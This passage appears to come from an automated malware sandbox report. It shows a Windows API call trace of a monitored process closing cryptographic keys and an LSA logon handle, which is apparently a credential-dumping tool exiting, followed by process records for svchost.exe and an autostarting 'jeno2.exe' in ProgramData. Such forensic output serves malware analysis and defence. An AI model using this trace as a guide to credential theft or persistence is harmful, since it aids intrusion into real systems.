lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bye!\r\n", lpUsedDefaultChar=0x0) returned 6 [0197.069] WriteFile (in: hFile=0x720, lpBuffer=0x10ec30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x10e570, lpOverlapped=0x0 | out: lpBuffer=0x10ec30*, lpNumberOfBytesWritten=0x10e570*=0x6, lpOverlapped=0x0) returned 1 [0197.069] LocalFree (hMem=0x176630) returned 0x0 [0197.069] LocalFree (hMem=0x16bb20) returned 0x0 [0197.069] FreeLibrary (hLibModule=0x7fefcfa0000) returned 1 [0197.069] GetProcAddress (hModule=0x7fefd410000, lpProcName="BCryptCloseAlgorithmProvider") returned 0x7fefd4132b0 [0197.069] BCryptCloseAlgorithmProvider (in: hAlgorithm=0x18b440, dwFlags=0x0 | out: hAlgorithm=0x18b440) returned 0x0 [0197.070] GetProcAddress (hModule=0x7fefd410000, lpProcName="BCryptDestroyKey") returned 0x7fefd4116a0 [0197.070] BCryptDestroyKey (in: hKey=0x18e6e0 | out: hKey=0x18e6e0) returned 0x0 [0197.070] LocalFree (hMem=0x18e6e0) returned 0x0 [0197.070] BCryptCloseAlgorithmProvider (in: hAlgorithm=0x18b560, dwFlags=0x0 | out: hAlgorithm=0x18b560) returned 0x0 [0197.070] BCryptDestroyKey (in: hKey=0x18e8f0 | out: hKey=0x18e8f0) returned 0x0 [0197.070] LocalFree (hMem=0x18e8f0) returned 0x0 [0197.071] LsaDeregisterLogonProcess (LsaHandle=0x176480) returned 0x0 [0197.072] FreeLibrary (hLibModule=0x7fef4b60000) returned 1 [0197.073] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x1691d0 | out: hHeap=0x140000) returned 1 [0197.073] LocalFree (hMem=0x181af0) returned 0x0 [0197.073] RpcMgmtStopServerListening (Binding=0x0) returned 0x6b3 [0197.073] ASN1_CloseDecoder () returned 0x0 [0197.073] ASN1_CloseEncoder () returned 0x0 [0197.073] ASN1Free () returned 0x0 [0197.073] CoUninitialize () [0197.076] SetConsoleCtrlHandler (HandlerRoutine=0x13f99bfe4, Add=0) returned 1 [0197.076] GetLastError () returned 0x0 [0197.076] SetLastError (dwErrCode=0x0) [0197.076] GetLastError () returned 0x0 [0197.077] SetLastError (dwErrCode=0x0) [0197.077] IsProcessorFeaturePresent (ProcessorFeature=0x17) returned 0 [0197.077] RtlCaptureContext (in: ContextRecord=0x10f660 | out: ContextRecord=0x10f660) [0197.077] RtlLookupFunctionEntry (in: ControlPc=0x13f9df14b, ImageBase=0x10f590, HistoryTable=0x0 | out: ImageBase=0x10f590, HistoryTable=0x0) returned 0x13fa4ddb8 [0197.077] RtlVirtualUnwind (in: HandlerType=0x0, ImageBase=0x13f950000, ControlPc=0x13f9df14b, FunctionEntry=0x13fa4ddb8, ContextRecord=0x10f660, HandlerData=0x10f5a8, EstablisherFrame=0x10f5b0, ContextPointers=0x0 | out: ContextRecord=0x10f660, HandlerData=0x10f5a8*=0x10f5e0, EstablisherFrame=0x10f5b0, ContextPointers=0x0) returned 0x0 [0197.077] IsDebuggerPresent () returned 0 [0197.077] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x13f9ccc14 [0197.077] UnhandledExceptionFilter (ExceptionInfo=0x10f598) Thread: id = 186 os_tid = 0xb0c Process: id = "23" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xad16000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bc99" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 197 os_tid = 0x6d8 Thread: id = 198 os_tid = 0x6fc Thread: id = 199 os_tid = 0x638 Thread: id = 200 os_tid = 0x554 Thread: id = 201 os_tid = 0x720 Thread: id = 202 os_tid = 0x668 Thread: id = 203 os_tid = 0x65c Thread: id = 204 os_tid = 0x144 Thread: id = 205 os_tid = 0x110 Thread: id = 206 os_tid = 0x3f0 Thread: id = 207 os_tid = 0x3ec Thread: id = 208 os_tid = 0x3e4 Thread: id = 209 os_tid = 0x3e0 Thread: id = 210 os_tid = 0x3d0 Thread: id = 211 os_tid = 0x3cc Thread: id = 212 os_tid = 0x398 Thread: id = 213 os_tid = 0x394 Thread: id = 214 os_tid = 0x384 Thread: id = 215 os_tid = 0x380 Thread: id = 216 os_tid = 0x350 Thread: id = 217 os_tid = 0x33c Process: id = "24" image_name = "jeno2.exe" filename = "c:\\programdata\\jeno2.exe" page_root = "0x199f0000" os_pid = "0x4d8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x36c" cmd_line = "\"C:\\ProgramData\\jeno2.exe\" -ui" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e68f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 219 os_tid = 0x4dc